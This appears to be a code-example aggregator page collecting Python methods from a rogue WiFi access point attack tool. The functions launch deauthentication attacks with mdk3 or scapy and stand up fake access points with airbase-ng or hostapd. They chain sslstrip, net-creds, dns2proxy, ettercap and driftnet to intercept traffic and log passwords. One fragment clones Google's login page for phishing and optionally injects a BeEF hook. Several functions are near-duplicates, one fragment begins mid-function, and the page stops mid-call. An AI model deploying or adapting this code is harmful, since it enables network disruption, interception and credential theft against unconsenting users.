예제 #1
0
 def attack_deauth(self):
     global threadloading
     if hasattr(self,'threadScanAP'):
         if not self.threadScanAP.stopped:
             return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point')
     if hasattr(self,'thread_airodump'):
         if self.thread_airodump.isAlive():
             return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point')
     self.btn_stop.setEnabled(True)
     self.btn_enviar.setEnabled(False)
     if self.linetarget.text() == '':
         QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack')
     else:
         self.bssid = str(self.linetarget.text())
         self.deauth_check = self.xmlcheck.xmlSettings('deauth', 'select',None,False)
         self.args = str(self.xmlcheck.xmlSettings('mdk3','arguments', None, False))
         self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable())
         if self.deauth_check == 'packets_scapy':
             self.AttackStatus(True)
             threadDeauth = ThreadDeauth(self.bssid,str(self.input_client.text()),self.interface)
             threadloading['deauth'].append(threadDeauth)
             threadDeauth.setObjectName('Deauth scapy')
             threadDeauth.start()
         else:
             if path.isfile(popen('which mdk3').read().split("\n")[0]):
                 self.AttackStatus(True)
                 t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split())
                 t.name = 'Thread mdk3'
                 threadloading['mdk3'].append(t)
                 t.start()
             else:
                 QMessageBox.information(self,'Error mdk3','mkd3 not installed')
                 set_monitor_mode(self.get_placa.currentText()).setDisable()
예제 #2
0
 def start_dift(self):
     if self.ConfigTwin['ProgCheck'][2]:
         if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())):
             Thread_driftnet = ProcessThread(['sudo', 'xterm', '-geometry', '75x15+1+200',
                 '-T', 'DriftNet', '-e', 'driftnet', '-i', self.ConfigTwin['AP_iface']])
             Thread_driftnet.setName('Tool::Driftnet')
             self.Apthreads['RougeAP'].append(Thread_driftnet)
             Thread_driftnet.start()
         return
     QMessageBox.information(self,'driftnet','driftnet not found.')
예제 #3
0
 def start_etter(self):
     if self.ConfigTwin['ProgCheck'][1]:
         if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())):
             Thread_Ettercap = ProcessThread(['sudo', 'xterm', '-geometry', '73x25-1+50',
             '-T', 'ettercap', '-s', '-sb', '-si', '+sk', '-sl',
                 '5000', '-e', 'ettercap', '-p', '-u', '-T', '-q', '-w',
                   'Logs/passwords', '-i', self.ConfigTwin['AP_iface']])
             Thread_Ettercap.setName('Tool::Ettercap')
             self.Apthreads['RougeAP'].append(Thread_Ettercap)
             Thread_Ettercap.start()
         return
     QMessageBox.information(self,'ettercap','ettercap not found.')
예제 #4
0
    def StartApFake(self):
        self.ListLoggerDhcp.clear()
        if geteuid() != 0:
            QMessageBox.information(self,'Error permission',
            'Run as root ')
            return
        if len(self.selectCard.currentText()) == 0:
            QMessageBox.information(self,'Error',
            'Network interface not supported :(')
            return

        self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable())
        self.config.xmlSettings('interface', 'monitor_mode',self.interface,False)
        # airbase thread
        thr_airbase = ProcessThread(['airbase-ng',
        '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(),
        '-F', 'Logs/'+asctime(),self.interface])
        thr_airbase.name = 'Airbase-ng'
        self.thread.append(thr_airbase)
        thr_airbase.start()

        # settings conf
        while True:
            if thr_airbase.iface != None:
                self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0]
                self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False)
                break
        # thread netcreds
        ThNetCreds = ProcessThread(['python','Plugins/NetCreds.py','-i',
        self.config.xmlSettings('netcreds', 'interface',None,False)])
        ThNetCreds.setName('Net-Creds')
        self.thread.append(ThNetCreds)
        ThNetCreds.start()
        p = Process(target=self.CoreSettings,args=())
        p.start(),p.join()

        # thread dhcp
        if self.config.xmlSettings('dhcp','dhcp_server',None,False) != 'dnsmasq':
            Thdhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface])
            self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog)
            Thdhcp.setObjectName('DHCP')
            self.thread.append(Thdhcp)
            Thdhcp.start()
            self.Started(True)
        else:
            Thdhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d'])
            self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog)
            Thdhcp.setObjectName('DHCP')
            self.thread.append(Thdhcp)
            Thdhcp.start()
            self.Started(True)


        # thread sslstrip
        Thsslstrip = Threadsslstrip(self.PortRedirect)
        Thsslstrip.setObjectName("Sslstrip")
        self.thread.append(Thsslstrip)
        Thsslstrip.start()
예제 #5
0
 def attack_deauth(self):
     global threadloading
     if self.linetarget.text() == '':
         QMessageBox.information(self, 'Target Error',
                                 'Please, first select Target for attack')
     else:
         self.bssid = str(self.linetarget.text())
         self.deauth_check = self.xmlcheck.xmlSettings(
             'deauth', 'select', None, False)
         self.args = str(
             self.xmlcheck.xmlSettings('mdk3', 'arguments', None, False))
         self.interface = str(
             set_monitor_mode(self.get_placa.currentText()).setEnable())
         if self.deauth_check == 'packets_scapy':
             self.AttackStatus(True)
             t = Process(target=self.deauth_attacker,
                         args=(self.bssid, str(self.input_client.text()),
                               self.interface))
             threadloading['deauth'].append(t)
             t.daemon = True
             t.start()
         else:
             if path.isfile(popen('which mdk3').read().split("\n")[0]):
                 self.AttackStatus(True)
                 t = ProcessThread(
                     ('mdk3 %s %s %s' %
                      (self.interface, self.args, self.bssid)).split())
                 t.name = 'Thread mdk3'
                 threadloading['mdk3'].append(t)
                 t.start()
             else:
                 QMessageBox.information(self, 'Error mdk3',
                                         'mkd3 not installed')
                 set_monitor_mode(self.get_placa.currentText()).setDisable()
예제 #6
0
 def attack_deauth(self):
     global threadloading
     if self.linetarget.text() == "":
         QMessageBox.information(self, "Target Error",
                                 "Please, first select Target for attack")
     else:
         self.bssid = str(self.linetarget.text())
         self.deauth_check = self.xmlcheck.xmlSettings(
             "deauth", "select", None, False)
         self.args = str(
             self.xmlcheck.xmlSettings("mdk3", "arguments", None, False))
         if self.deauth_check == "packets_scapy":
             self.AttackStatus(True)
             t = Process(target=self.deauth_attacker,
                         args=(self.bssid, str(self.input_client.text())))
             print("[*] deauth Attack On:" + self.bssid)
             threadloading['deauth'].append(t)
             t.daemon = True
             t.start()
         else:
             if path.isfile(popen('which mdk3').read().split("\n")[0]):
                 self.AttackStatus(True)
                 t = ProcessThread(
                     ("mdk3 %s %s %s" %
                      (self.interface, self.args, self.bssid)).split())
                 t.name = "mdk3"
                 threadloading['mdk3'].append(t)
                 t.start()
             else:
                 QMessageBox.information(self, 'Error mdk3',
                                         'mkd3 not installed')
                 set_monitor_mode(self.get_placa.currentText()).setDisable()
예제 #7
0
 def attack_deauth(self):
     global threadloading
     if self.linetarget.text() == "":
         QMessageBox.information(self, "Target Error",
                                 "Please, first select Target for attack")
     else:
         self.bssid = str(self.linetarget.text())
         self.deauth_check = self.xmlcheck.xmlSettings(
             "deauth", "select", None, False)
         self.args = str(
             self.xmlcheck.xmlSettings("mdk3", "arguments", None, False))
         if self.deauth_check == "packets_scapy":
             self.AttackStatus(True)
             t = Process(target=self.deauth_attacker,
                         args=(self.bssid, str(self.input_client.text())))
             print("[*] deauth Attack On:" + self.bssid)
             threadloading['deauth'].append(t)
             t.daemon = True
             t.start()
         else:
             self.AttackStatus(True)
             t = ProcessThread(
                 ("mdk3 mon0 %s %s" % (self.args, self.bssid)).split())
             t.name = "mdk3"
             threadloading['mdk3'].append(t)
             t.start()
예제 #8
0
 def start_dift(self):
     if self.ConfigTwin['ProgCheck'][2]:
         if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())):
             Thread_driftnet = ProcessThread(['sudo', 'xterm', '-geometry', '75x15+1+200',
                 '-T', 'DriftNet', '-e', 'driftnet', '-i', self.ConfigTwin['AP_iface']])
             Thread_driftnet.setName('Tool::Driftnet')
             self.Apthreads['RougeAP'].append(Thread_driftnet)
             Thread_driftnet.start()
         return
     QMessageBox.information(self,'driftnet','driftnet not found.')
예제 #9
0
 def start_etter(self):
     if self.ConfigTwin['ProgCheck'][1]:
         if search(str(self.ConfigTwin['AP_iface']),str(popen('ifconfig').read())):
             Thread_Ettercap = ProcessThread(['sudo', 'xterm', '-geometry', '73x25-1+50',
             '-T', 'ettercap', '-s', '-sb', '-si', '+sk', '-sl',
                 '5000', '-e', 'ettercap', '-p', '-u', '-T', '-q', '-w',
                   'Logs/passwords', '-i', self.ConfigTwin['AP_iface']])
             Thread_Ettercap.setName('Tool::Ettercap')
             self.Apthreads['RougeAP'].append(Thread_Ettercap)
             Thread_Ettercap.start()
         return
     QMessageBox.information(self,'ettercap','ettercap not found.')
예제 #10
0
    def StartApFake(self):
        self.ListLoggerDhcp.clear()
        if geteuid() != 0:
            return QMessageBox.warning(self, "Error permission", "Run as root ")
        if len(self.selectCard.currentText()) == 0:
            return QMessageBox.warning(self, "Error interface", "Network interface not supported :(")
        if len(self.EditGateway.text()) == 0:
            return QMessageBox.warning(self, "Error Gateway", "gateway not found")
        if not self.ProgramCheck[5]:
            return QMessageBox.information(self, "Error Hostapd", "hostapd not installed")
        dhcp_select = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False)
        if dhcp_select == "iscdhcpserver":
            if not self.ProgramCheck[3]:
                return QMessageBox.warning(self, "Error dhcp", "isc-dhcp-server not installed")
        elif dhcp_select == "dnsmasq":
            if not self.ProgramCheck[4]:
                return QMessageBox.information(self, "Error dhcp", "dnsmasq not installed")

        self.APactived = self.FSettings.xmlSettings("accesspoint", "actived", None, False)
        if self.APactived == "airbase-ng":
            self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable())
            self.FSettings.xmlSettings("interface", "monitor_mode", self.interface, False)
            # airbase thread
            Thread_airbase = ProcessThread(
                [
                    "airbase-ng",
                    "-c",
                    str(self.EditChannel.text()),
                    "-e",
                    self.EditApName.text(),
                    "-F",
                    "Logs/Caplog/" + asctime(),
                    self.interface,
                ]
            )
            Thread_airbase.name = "Airbase-ng"
            self.Apthreads["RougeAP"].append(Thread_airbase)
            Thread_airbase.start()
            # settings
            while True:
                if Thread_airbase.iface != None:
                    self.Ap_iface = [x for x in Refactor.get_interfaces()["all"] if search("at", x)][0]
                    self.FSettings.xmlSettings("netcreds", "interface", self.Ap_iface, False)
                    break
            self.CoreSettings()
        elif self.APactived == "hostapd":
            self.FSettings.xmlSettings("netcreds", "interface", str(self.selectCard.currentText()), False)
            self.Ap_iface = str(self.selectCard.currentText())
            call(["airmon-ng", "check", "kill"])
            self.CoreSettings()
            ignore = ("interface=", "driver=", "ssid=", "channel=")
            with open("Settings/hostapd.conf", "w") as apconf:
                for i in self.SettingsAP["hostapd"]:
                    apconf.write(i)
                for config in str(self.FSettings.ListHostapd.toPlainText()).split("\n"):
                    if not config.startswith("#") and len(config) > 0:
                        if not config.startswith(ignore):
                            apconf.write(config + "\n")
                apconf.close()
            Thread_hostapd = ProcessThread(["hostapd", "Settings/hostapd.conf"])
            Thread_hostapd.name = "hostapd"
            self.Apthreads["RougeAP"].append(Thread_hostapd)
            Thread_hostapd.start()

        # thread dhcp
        selected_dhcp = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False)
        if selected_dhcp == "iscdhcpserver":
            Thread_dhcp = ThRunDhcp(["sudo", "dhcpd", "-d", "-f", "-cf", "/etc/dhcp/dhcpd.conf", self.Ap_iface])
            self.connect(Thread_dhcp, SIGNAL("Activated ( QString ) "), self.dhcpLog)
            Thread_dhcp.setObjectName("DHCP")
            self.Apthreads["RougeAP"].append(Thread_dhcp)
            Thread_dhcp.start()

        elif selected_dhcp == "dnsmasq":
            Thread_dhcp = ThRunDhcp(["dnsmasq", "-C", "Settings/dnsmasq.conf", "-d"])
            self.connect(Thread_dhcp, SIGNAL("Activated ( QString ) "), self.dhcpLog)
            Thread_dhcp.setObjectName("DHCP")
            self.Apthreads["RougeAP"].append(Thread_dhcp)
            Thread_dhcp.start()
        else:
            return QMessageBox.information(self, "DHCP", selected_dhcp + " not found.")
        self.Started(True)

        # thread plugins
        if self.PopUpPlugins.check_sslstrip.isChecked():
            Thread_sslstrip = Threadsslstrip(self.PortRedirect)
            Thread_sslstrip.setObjectName("sslstrip")
            self.Apthreads["RougeAP"].append(Thread_sslstrip)
            Thread_sslstrip.start()

        if self.PopUpPlugins.check_netcreds.isChecked():
            Thread_netcreds = ProcessThread(
                [
                    "python",
                    "Plugins/net-creds/net-creds.py",
                    "-i",
                    self.FSettings.xmlSettings("netcreds", "interface", None, False),
                ]
            )
            Thread_netcreds.setName("Net-Creds")
            self.Apthreads["RougeAP"].append(Thread_netcreds)
            Thread_netcreds.start()

        iptables = []
        for index in xrange(self.FSettings.ListRules.count()):
            iptables.append(str(self.FSettings.ListRules.item(index).text()))
        for rules in iptables:
            if search("PREROUTING -p udp -j DNAT --to", rules):
                popen(rules.replace("$$", str(self.EditGateway.text())))
            elif search("--append FORWARD --in-interface", rules):
                popen(rules.replace("$$", self.Ap_iface))
            elif search("--append POSTROUTING --out-interface", rules):
                popen(rules.replace("$$", str(Refactor.get_interfaces()["activated"])))
            else:
                popen(rules)
                    request = urlopen('http://accounts.google.com/Login?hl').read()
                    self.html = request.replace('//ssl.gstatic.com/accounts/ui/','')
                    self.html = request.replace('https://accounts.google.com/ServiceLoginAuth','login.php')
                    if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0:
                        self.hook = '<script type="text/javascript" src="%s"></script>'%self.EditBeef.text()
                        html_final = Beef_Hook_url(self.html,self.hook)
                        if html_final != None:
                            self.html = html_final
                        else: QMessageBox.information(self,'Error Hook Inject Page',
                            'Hook Url not injected, not found tag "<body>"')
                    with open('index.html','w') as f:
                        f.write(str(self.html))
                        f.close()
                except OSError,e:
                    return QMessageBox.warning(self,'error path',e)

            ip = str(self.txt_redirect.text())
            popen('service apache2 stop')
            if ip != None:
                Tphishing = ProcessThread(['php', '-S',ip+':80'])
                Tphishing.setName('Phishing:'+choice)
                threadloading['template'].append(Tphishing)
                Tphishing.start()
                self.emit(SIGNAL('Activated( QString )'),'started')
                while True:
                    if Tphishing.process != None:
                        chdir(self.owd)
                        break
                return
            QMessageBox.warning(self,'Connection','Ipaddress not found')
예제 #12
0
    def StartApFake(self):
        self.ListLoggerDhcp.clear()
        if geteuid() != 0:
            QMessageBox.information(self, 'Error permission', 'Run as root ')
            return
        if len(self.selectCard.currentText()) == 0:
            QMessageBox.information(self, 'Error',
                                    'Network interface not supported :(')
            return

        self.interface = str(
            set_monitor_mode(self.selectCard.currentText()).setEnable())
        self.config.xmlSettings('interface', 'monitor_mode', self.interface,
                                False)
        # airbase thread
        thr_airbase = ProcessThread([
            'airbase-ng', '-c',
            str(self.EditChannel.text()), '-e',
            self.EditApName.text(), '-F', 'Logs/' + asctime(), self.interface
        ])
        thr_airbase.name = 'Airbase-ng'
        self.thread.append(thr_airbase)
        thr_airbase.start()

        # settings conf
        while True:
            if thr_airbase.iface != None:
                self.Ap_iface = [
                    x for x in Refactor.get_interfaces()['all']
                    if search('at', x)
                ][0]
                self.config.xmlSettings('netcreds', 'interface', self.Ap_iface,
                                        False)
                break
        # thread netcreds
        ThNetCreds = ProcessThread([
            'python', 'Plugins/NetCreds.py', '-i',
            self.config.xmlSettings('netcreds', 'interface', None, False)
        ])
        ThNetCreds.setName('Net-Creds')
        self.thread.append(ThNetCreds)
        ThNetCreds.start()
        p = Process(target=self.CoreSettings, args=())
        p.start(), p.join()

        # thread dhcp
        if self.config.xmlSettings('dhcp', 'dhcp_server', None,
                                   False) != 'dnsmasq':
            Thdhcp = ThRunDhcp([
                'sudo', 'dhcpd', '-d', '-f', '-cf', '/etc/dhcp/dhcpd.conf',
                self.Ap_iface
            ])
            self.connect(Thdhcp, SIGNAL('Activated ( QString ) '),
                         self.dhcpLog)
            Thdhcp.setObjectName('DHCP')
            self.thread.append(Thdhcp)
            Thdhcp.start()
            self.Started(True)
        else:
            Thdhcp = ThRunDhcp(
                ['dnsmasq', '-C', 'Settings/dnsmasq.conf', '-d'])
            self.connect(Thdhcp, SIGNAL('Activated ( QString ) '),
                         self.dhcpLog)
            Thdhcp.setObjectName('DHCP')
            self.thread.append(Thdhcp)
            Thdhcp.start()
            self.Started(True)

        # thread sslstrip
        Thsslstrip = Threadsslstrip(self.PortRedirect)
        Thsslstrip.setObjectName("Sslstrip")
        self.thread.append(Thsslstrip)
        Thsslstrip.start()
예제 #13
0
    def StartApFake(self):
        self.btn_start_attack.setDisabled(True)
        if len(self.selectCard.currentText()) == 0:
            return QMessageBox.warning(self,'Error interface','Network interface not supported :(')
        if len(self.EditGateway.text()) == 0:
            return QMessageBox.warning(self,'Error Gateway','gateway not found')
        if not self.ConfigTwin['ProgCheck'][5]:
            return QMessageBox.information(self,'Error Hostapd','hostapd not installed')
        dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False)
        if dhcp_select == 'iscdhcpserver':
            if not self.ConfigTwin['ProgCheck'][3]:
                return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed')
        elif dhcp_select == 'dnsmasq':
            if not self.ConfigTwin['ProgCheck'][4]:
                return QMessageBox.information(self,'Error dhcp','dnsmasq not installed')
        if str(Refactor.get_interfaces()['activated']).startswith('wlan'):
            return QMessageBox.information(self,'Error network card',
                'You are connected with interface wireless, try again with local connection')

        self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False)
        if self.APactived == 'airbase-ng':
            self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable())
            self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False)
            # airbase thread
            Thread_airbase = ProcessThread(['airbase-ng',
            '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(),
            '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']])
            Thread_airbase.name = 'Airbase-ng'
            self.Apthreads['RougeAP'].append(Thread_airbase)
            Thread_airbase.start()
            # settings
            while True:
                if Thread_airbase.iface != None:
                    self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0]
                    self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False)
                    break
            self.CoreSettings()
        elif self.APactived == 'hostapd':
            self.FSettings.xmlSettings('netcreds','interface',
            str(self.selectCard.currentText()),False)
            self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText())
            try:
                check_output(['nmcli','radio','wifi',"off"])
            except CalledProcessError:
                try:
                    check_output(['nmcli','nm','wifi',"off"])
                except CalledProcessError as e:
                    return QMessageBox.warning(self,'Error nmcli',e)
            call(['rfkill', 'unblock' ,'wlan'])
            self.CoreSettings()
            ignore = ('interface=','ssid=','channel=')
            with open('Settings/hostapd.conf','w') as apconf:
                for i in self.SettingsAP['hostapd']:apconf.write(i)
                for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'):
                    if not config.startswith('#') and len(config) > 0:
                        if not config.startswith(ignore):
                            apconf.write(config+'\n')
                apconf.close()
            self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf'])
            self.Thread_hostapd.setObjectName('hostapd')
            self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus)
            self.Apthreads['RougeAP'].append(self.Thread_hostapd)
            self.Thread_hostapd.start()

        # thread dhcp
        selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False)
        if selected_dhcp == 'iscdhcpserver':
            Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf',
            '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']])
            Thread_dhcp.sendRequest.connect(self.GetDHCPRequests)
            Thread_dhcp.setObjectName('DHCP')
            self.Apthreads['RougeAP'].append(Thread_dhcp)
            Thread_dhcp.start()

        ##### dnsmasq disabled
        # elif selected_dhcp == 'dnsmasq':
        #     Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d'])
        #     self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog)
        #     Thread_dhcp .setObjectName('DHCP')
        #     self.Apthreads['RougeAP'].append(Thread_dhcp)
        #     Thread_dhcp .start()
        else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.')
        self.Started(True)
        self.FSettings.xmlSettings('statusAP','value','True',False)

        if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked():
            popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text())))
            self.FSettings.xmlSettings('sslstrip_plugin','status','False',False)
            self.PopUpPlugins.check_sslstrip.setChecked(False)
            self.PopUpPlugins.unset_Rules('sslstrip')

        # thread plugins
        if self.PopUpPlugins.check_sslstrip.isChecked():
            Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect'])
            Thread_sslstrip.setObjectName("sslstrip")
            self.Apthreads['RougeAP'].append(Thread_sslstrip)
            Thread_sslstrip.start()

        if self.PopUpPlugins.check_netcreds.isChecked():
            Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i',
            self.FSettings.xmlSettings('netcreds', 'interface',None,False)])
            Thread_netcreds.setName('Net-Creds')
            self.Apthreads['RougeAP'].append(Thread_netcreds)
            Thread_netcreds.start()

        if self.PopUpPlugins.check_dns2proy.isChecked():
            Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py'])
            Thread_dns2proxy.setName('Dns2Proxy')
            self.Apthreads['RougeAP'].append(Thread_dns2proxy)
            Thread_dns2proxy.start()

        iptables = []
        for index in xrange(self.FSettings.ListRules.count()):
           iptables.append(str(self.FSettings.ListRules.item(index).text()))
        for rules in iptables:
            if search('--append FORWARD --in-interface',rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface']))
            elif search('--append POSTROUTING --out-interface',rules):
                popen(rules.replace('$$',str(Refactor.get_interfaces()['activated'])))
            else:popen(rules)
예제 #14
0
    def StartApFake(self):
        self.btn_start_attack.setDisabled(True)
        if len(self.selectCard.currentText()) == 0:
            return QMessageBox.warning(self, 'Error interface',
                                       'Network interface not supported :(')
        if len(self.EditGateway.text()) == 0:
            return QMessageBox.warning(self, 'Error Gateway',
                                       'gateway not found')
        if not self.ConfigTwin['ProgCheck'][5]:
            return QMessageBox.information(self, 'Error Hostapd',
                                           'hostapd not installed')
        dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None,
                                                 False)
        if dhcp_select == 'iscdhcpserver':
            if not self.ConfigTwin['ProgCheck'][3]:
                return QMessageBox.warning(self, 'Error dhcp',
                                           'isc-dhcp-server not installed')
        elif dhcp_select == 'dnsmasq':
            if not self.ConfigTwin['ProgCheck'][4]:
                return QMessageBox.information(self, 'Error dhcp',
                                               'dnsmasq not installed')
        if str(Refactor.get_interfaces()['activated']).startswith('wlan'):
            return QMessageBox.information(
                self, 'Error network card',
                'You are connected with interface wireless, try again with local connection'
            )

        self.APactived = self.FSettings.xmlSettings('accesspoint', 'actived',
                                                    None, False)
        if self.APactived == 'airbase-ng':
            self.ConfigTwin['interface'] = str(
                set_monitor_mode(self.selectCard.currentText()).setEnable())
            self.FSettings.xmlSettings('interface', 'monitor_mode',
                                       self.ConfigTwin['interface'], False)
            # airbase thread
            Thread_airbase = ProcessThread([
                'airbase-ng', '-c',
                str(self.EditChannel.text()), '-e',
                self.EditApName.text(), '-F', 'Logs/Caplog/' + asctime(),
                self.ConfigTwin['interface']
            ])
            Thread_airbase.name = 'Airbase-ng'
            self.Apthreads['RougeAP'].append(Thread_airbase)
            Thread_airbase.start()
            # settings
            while True:
                if Thread_airbase.iface != None:
                    self.ConfigTwin['AP_iface'] = [
                        x for x in Refactor.get_interfaces()['all']
                        if search('at', x)
                    ][0]
                    self.FSettings.xmlSettings('netcreds', 'interface',
                                               self.ConfigTwin['AP_iface'],
                                               False)
                    break
            self.CoreSettings()
        elif self.APactived == 'hostapd':
            self.FSettings.xmlSettings('netcreds', 'interface',
                                       str(self.selectCard.currentText()),
                                       False)
            self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText())
            try:
                check_output(['nmcli', 'radio', 'wifi', "off"])
            except CalledProcessError:
                try:
                    check_output(['nmcli', 'nm', 'wifi', "off"])
                except CalledProcessError as e:
                    return QMessageBox.warning(self, 'Error nmcli', e)
            call(['rfkill', 'unblock', 'wlan'])
            self.CoreSettings()
            ignore = ('interface=', 'ssid=', 'channel=')
            with open('Settings/hostapd.conf', 'w') as apconf:
                for i in self.SettingsAP['hostapd']:
                    apconf.write(i)
                for config in str(
                        self.FSettings.ListHostapd.toPlainText()).split('\n'):
                    if not config.startswith('#') and len(config) > 0:
                        if not config.startswith(ignore):
                            apconf.write(config + '\n')
                apconf.close()
            self.Thread_hostapd = ProcessHostapd(
                ['hostapd', '-d', 'Settings/hostapd.conf'])
            self.Thread_hostapd.setObjectName('hostapd')
            self.Thread_hostapd.statusAP_connected.connect(
                self.GetHostapdStatus)
            self.Apthreads['RougeAP'].append(self.Thread_hostapd)
            self.Thread_hostapd.start()

        # thread dhcp
        selected_dhcp = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None,
                                                   False)
        if selected_dhcp == 'iscdhcpserver':
            Thread_dhcp = ThRunDhcp([
                'sudo', 'dhcpd', '-d', '-f', '-lf',
                'Settings/dhcp/dhcpd.leases', '-cf', '/etc/dhcp/dhcpd.conf',
                self.ConfigTwin['AP_iface']
            ])
            Thread_dhcp.sendRequest.connect(self.GetDHCPRequests)
            Thread_dhcp.setObjectName('DHCP')
            self.Apthreads['RougeAP'].append(Thread_dhcp)
            Thread_dhcp.start()

        ##### dnsmasq disabled
        # elif selected_dhcp == 'dnsmasq':
        #     Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d'])
        #     self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog)
        #     Thread_dhcp .setObjectName('DHCP')
        #     self.Apthreads['RougeAP'].append(Thread_dhcp)
        #     Thread_dhcp .start()
        else:
            return QMessageBox.information(self, 'DHCP',
                                           selected_dhcp + ' not found.')
        self.Started(True)
        self.FSettings.xmlSettings('statusAP', 'value', 'True', False)

        if self.FSettings.check_redirect.isChecked(
        ) or not self.PopUpPlugins.check_sslstrip.isChecked():
            popen(
                'iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(
                    str(self.EditGateway.text())))
            self.FSettings.xmlSettings('sslstrip_plugin', 'status', 'False',
                                       False)
            self.PopUpPlugins.check_sslstrip.setChecked(False)
            self.PopUpPlugins.unset_Rules('sslstrip')

        # thread plugins
        if self.PopUpPlugins.check_sslstrip.isChecked():
            Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect'])
            Thread_sslstrip.setObjectName("sslstrip")
            self.Apthreads['RougeAP'].append(Thread_sslstrip)
            Thread_sslstrip.start()

        if self.PopUpPlugins.check_netcreds.isChecked():
            Thread_netcreds = ProcessThread([
                'python', 'Plugins/net-creds/net-creds.py', '-i',
                self.FSettings.xmlSettings('netcreds', 'interface', None,
                                           False)
            ])
            Thread_netcreds.setName('Net-Creds')
            self.Apthreads['RougeAP'].append(Thread_netcreds)
            Thread_netcreds.start()

        if self.PopUpPlugins.check_dns2proy.isChecked():
            Thread_dns2proxy = ProcessThread(
                ['python', 'Plugins/dns2proxy/dns2proxy.py'])
            Thread_dns2proxy.setName('Dns2Proxy')
            self.Apthreads['RougeAP'].append(Thread_dns2proxy)
            Thread_dns2proxy.start()

        iptables = []
        for index in xrange(self.FSettings.ListRules.count()):
            iptables.append(str(self.FSettings.ListRules.item(index).text()))
        for rules in iptables:
            if search('--append FORWARD --in-interface', rules):
                popen(rules.replace('$$', self.ConfigTwin['AP_iface']))
            elif search('--append POSTROUTING --out-interface', rules):
                popen(
                    rules.replace('$$',
                                  str(Refactor.get_interfaces()['activated'])))
            else:
                popen(rules)
예제 #15
0
    def StartApFake(self):
        self.ListLoggerDhcp.clear()
        if geteuid() != 0:
            return QMessageBox.warning(self, 'Error permission',
                                       'Run as root ')
        if len(self.selectCard.currentText()) == 0:
            return QMessageBox.warning(self, 'Error interface',
                                       'Network interface not supported :(')
        if len(self.EditGateway.text()) == 0:
            return QMessageBox.warning(self, 'Error Gateway',
                                       'gateway not found')

        dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None,
                                                 False)
        if dhcp_select != 'dnsmasq':
            if not self.ProgramCheck[3]:
                return QMessageBox.warning(self, 'Error dhcp',
                                           'isc-dhcp-server not installed')
        else:
            if not self.ProgramCheck[4]:
                return QMessageBox.information(self, 'Error dhcp',
                                               'dnsmasq not installed')
        self.interface = str(
            set_monitor_mode(self.selectCard.currentText()).setEnable())
        self.FSettings.xmlSettings('interface', 'monitor_mode', self.interface,
                                   False)
        # airbase thread
        Thread_airbase = ProcessThread([
            'airbase-ng', '-c',
            str(self.EditChannel.text()), '-e',
            self.EditApName.text(), '-F', 'Logs/Caplog/' + asctime(),
            self.interface
        ])
        Thread_airbase.name = 'Airbase-ng'
        self.Apthreads['RougeAP'].append(Thread_airbase)
        Thread_airbase.start()

        # settings
        while True:
            if Thread_airbase.iface != None:
                self.Ap_iface = [
                    x for x in Refactor.get_interfaces()['all']
                    if search('at', x)
                ][0]
                self.FSettings.xmlSettings('netcreds', 'interface',
                                           self.Ap_iface, False)
                break
        self.CoreSettings()

        # thread dhcp
        selected_dhcp = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None,
                                                   False)
        if selected_dhcp == 'iscdhcpserver':
            Thread_dhcp = ThRunDhcp([
